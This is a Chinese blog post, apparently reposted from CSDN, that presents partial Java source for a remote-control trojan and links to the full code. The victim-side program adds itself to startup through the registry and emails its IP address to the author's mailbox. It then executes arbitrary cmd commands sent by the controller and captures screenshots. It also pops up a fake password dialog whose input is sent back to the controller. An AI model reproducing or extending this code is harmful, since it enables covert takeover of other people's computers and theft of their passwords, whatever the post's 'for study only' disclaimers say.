利用Java寫木馬程序(附源碼!)

fmms 12年前發布 | 80K 次閱讀 Java Java開發

這個小程序是很久以前寫的,現在發上來(僅供大家學習參考,不能用于任何非法行為~)

木馬定義:利用計算機程序漏洞侵入后竊取文件的程序程序被稱為木馬。它是一種具有隱藏性的、自發性的可被用來進行惡意行為的程序,多不會直接對電腦產生危害,而是以控制為主。

當然我寫的這個沒這么“強大”。。。

首先講下我的實現思路:

主要通過Socket和ServerSocket之間傳輸數據。

由于我沒有自己的一個服務器(沒有固定IP),所以在這個程序中,我把被控制端作為ServerSocket,.控制端為Socket。

要連接ServerSocket,首先要知道其的IP地址

這里我采用當程序啟動時,從ServerSoket端發送一份包含其IP信息的郵件到自己的郵箱。

隨后控制端就可以順利連接到ServerSoket端了。但是這里有個問題,就是到ServerSoket處于內網時,將無法順利連接

 

連接成功之后,我們就可以發送命令給ServerSoket。然后在ServerSoket那一端進行執行。

這里的執行包括ServerSoket進行相應的本地操作(具體操作的內容下面有說明),以及發送數據給我們能的控制端。

程序功能說明:

/*
 * 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
 * 本程序功能
 * 1、程序開機自動啟動(√)
 * 2、自動發送郵件
 * 3、執行dos命令,并將信息返回、這里可以執行關機等命令(√)
 * 4、鎖定鼠標,這里通過一個線程實現
 * 5、查看被控制端的桌面,將桌面畫面截圖并發送給控制端(√)
 * 6、在被控制端彈出對話框,多種對話框模式(√)
 * 7、讓被控制端閃屏(√)
 * 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
 */

下面給出一些程序運行的效果圖:

首先輸入IP地址進行連接,通過郵件我們可以知道被控制端的IP地址,下面看下郵件效果

利用Java寫木馬(附源碼!)

然后我們就可以進行相應的操作了

如輸入-help,可以顯示本程序支持的命令。

利用Java寫木馬(附源碼!)

這里演示下在被控制端彈出輸入密碼對話框

我們在控制端輸入-dinpass 親,請輸入的你密碼!

那么彈出的對話框效果如圖所示!

利用Java寫木馬(附源碼!)

當被控制點擊確定時,將發送其輸入的密碼到控制端,我們可以看到效果。

我輸入的是123321

利用Java寫木馬(附源碼!)

再演示個執行dos的關機命令。

利用Java寫木馬(附源碼!)

 

其它功能如鼠標鎖定等,不方便控制演示。就留給大家自己探索!!!

 

下面附上代碼

由于代碼較多,這里上傳部分代碼

控制端部分代碼

ControlWin.java

import ...;
public class ControlWin {
    Socket socket;
    ........
    public ControlWin() {
        in = new Scanner(System.in);
        System.out.print("輸入IP:");
        IP = in.nextLine().trim();
        try {
            socket = new Socket(IP, PORT);
            ....初始化其它信息
            System.out.println("contected");
            dos = new DataOutputStream(socket.getOutputStream());
            dis = new DataInputStream(socket.getInputStream());
            new Thread(new MyInputThread()).start();
            go();
        } catch (UnknownHostException e) {
            e.printStackTrace();
            return;
        } catch (IOException e) {
            e.printStackTrace();
            return;
        }
    }

    public void go() {//開始發送命令
        while (true) {
            System.out.println("intput commend:");
            dosS = in.nextLine().trim();
            if () {.......
            } else if (dosS.endsWith("-help")) {
                System.out
                        .println("-doutmsg msg 以對話框形式輸出信息\n"
                                + "-dinmsg 彈出一個輸入對話框\n"
                                + "-dinpass msg 彈出一個輸入密碼對話框+顯示信息msg\n"
                                + "-flash msg 閃屏并顯示msg所表示的文字\n" + "-p:獲取圖片\n"
                                + "-m l鎖定鍵盤 .....-m a取消鎖定\n"
                                + "輸入其則執行相應的dos命令,如輸入ipconfig 則顯示相應的ip信息\n"
                                + "exit:退出");
                continue;
            }
            try {
                dos.writeUTF(dosS);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    /*接受被控制端發送過來的圖片*/
    public void getPic() {.....
        while (true) {
            try {
                num = dis.read(imageData, 0, imageData.length);
                fos.write(imageData, 0, num);
                length -= num;
                if (length == 0) {
                    break;
                }
            } catch (Exception e) {
                try {
                    System.out.println("error");
                    fos.flush();
                    fos.close();
                } catch (IOException e1) {
                    e1.printStackTrace();
                }
                break;
            }
        }....
    }

    public static void main(String[] args) {
        new ControlWin();
    }

    class MyInputThread implements Runnable {接受被控制端返回的文本信息
        public void run() {
            while (true) {
                .....           }
        }
    }
}
被控制端部分代碼

Test.java

public class Test {
    ServerSocket serverSocket;
    Socket socket;......
    public Test() {
        /*
          在注冊表中設置開機自動運行 register();
          以及發送郵件,主要是把自己的IP發出來,并進行一些初始化......
         */
        go();
        }
    }
    /* 在注冊表中設置開機自動運行 */
    void go() {
        while (true) {
            /*
                * 這里不斷的接受發送過來的命令然后根據命令執行相應的操作
                * 如:(標有√,的是本程序已經實現的功能)
                * 1、我們可以通過開啟一個線程通過robot鎖定鼠標(√)
                * 2、執行dos命令(√)
                * 3、傳輸被控制端的文件
                * 4、查看被控制端的桌面(√)
                * 5、在被控制端彈出對話框(√)
                * 6、讓被控制端閃屏(√)
                * 7、等等等等
                * 具體的實現都在這里進行,當然這個需要和控制者那段的代碼相配合
                * 同時自己設計好具體的命令
                * */
            try {
                commendString = dis.readUTF().trim();
            } catch (IOException e) {
                System.out.println("leave");
                break;
            }
            然后對commendString進行分析,執行相應的命令就是上面所描述的1,2,3...等等等命令
        }
    }
    /*在注冊表注冊開機自動啟動*/
    public void register() {
        ......
    }
    /*啟動線程鎖定鼠標*/
    void mouseLock(String s) {
        ......
    }
    /*執行dos命令*/
    void dosExe(String dosString) {
        String command = "cmd /c " + dosString;
        String s = null;
        try {
            process = r.exec(command);
            bufferedReader = new BufferedReader(new InputStreamReader(process
                    .getInputStream()));
            dos.writeUTF("1start");
            while ((s = bufferedReader.readLine()) != null) {
                s = s.trim();
                dos.writeUTF(s);
            }
            dos.writeUTF("1end");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    /*發送圖片*/
    void sendPic() {......
    }

    public static void main(String[] args) {
        new Test();
    }
    /*獲取本地IP*/
    String getIP() {
        String ipString = "";
        Enumeration<NetworkInterface> netInterfaces = null;
        try {
            netInterfaces = NetworkInterface.getNetworkInterfaces();
            while (netInterfaces.hasMoreElements()) {
                NetworkInterface ni = netInterfaces.nextElement();
                ipString = ipString + ni.getDisplayName() + "\n";
                ipString = ipString + ni.getName() + "\n";
                Enumeration<InetAddress> ips = ni.getInetAddresses();
                while (ips.hasMoreElements()) {
                    ipString = ipString + ips.nextElement().getHostAddress()
                            + "\n";
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return ipString;
    }
    /*顯示消息對話框*/
    class ShowDialogThread extends Thread {......
    }

    class MouseLockThread extends Thread {......
    }

    // 這里可以啟動其它的應用程序
    class OtherApp extends Thread {
    }
    /*下面兩個類用于文件復制*/
    class JarUtil {......
    }
    class MyCopy {
        public int fileCopy(String sFile, String oFile) {......
        }
    }
    /*
     * 發送郵件部分 需要一兩個郵箱,一個是發送方郵箱,一個是接受郵箱
     */
    class SMail {
        boolean sended = false;
        Properties props;
        Session session;
        Message msg;
        Transport transport;

        public void send(String s) {
            try {
                // System.out.println(s);
                props = new Properties();
                props.setProperty("mail.smtp.auth", "true");
                props.setProperty("mail.transport.protocol", "smtp");
                session = Session.getDefaultInstance(props);
                // session.setDebug(true);
                msg = new MimeMessage(session);
                msg.setSubject("ip");
                msg.setText(s);
                /*xxxxxxxxxxxxxxxx為發送方郵箱用戶名*/
                msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com"));
                transport = session.getTransport();
                /*xxxxxxxxxxxxxxxx為發送方郵箱用戶名、
                 *yyyyyyyyy為發送方郵箱密碼*/
                transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy");
                transport.sendMessage(msg, new Address[] { new InternetAddress(
                        "496977458@qq.com") });
                transport.close();
                sended = true;
            } catch (Exception e) {
            }

        }

        public SMail() {
            sended = false;
        }
    }
    /*密碼輸入框*/
    class MyDialogPassInput extends JDialog {......
    }
    /*閃屏*/
    class Flash {......
    }
    /*輸入對話框*/
    class MyDialogMsgInput extends JDialog {
        JTextField text;
        JButton sureButton;
        String string;

        public MyDialogMsgInput(String s) {......
        }
    }

轉自:http://blog.csdn.net/leasystu/article/details/7268402
附上完整源碼地址

http://download.csdn.net/detail/leasystu/4070931

 本文由用戶 fmms 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!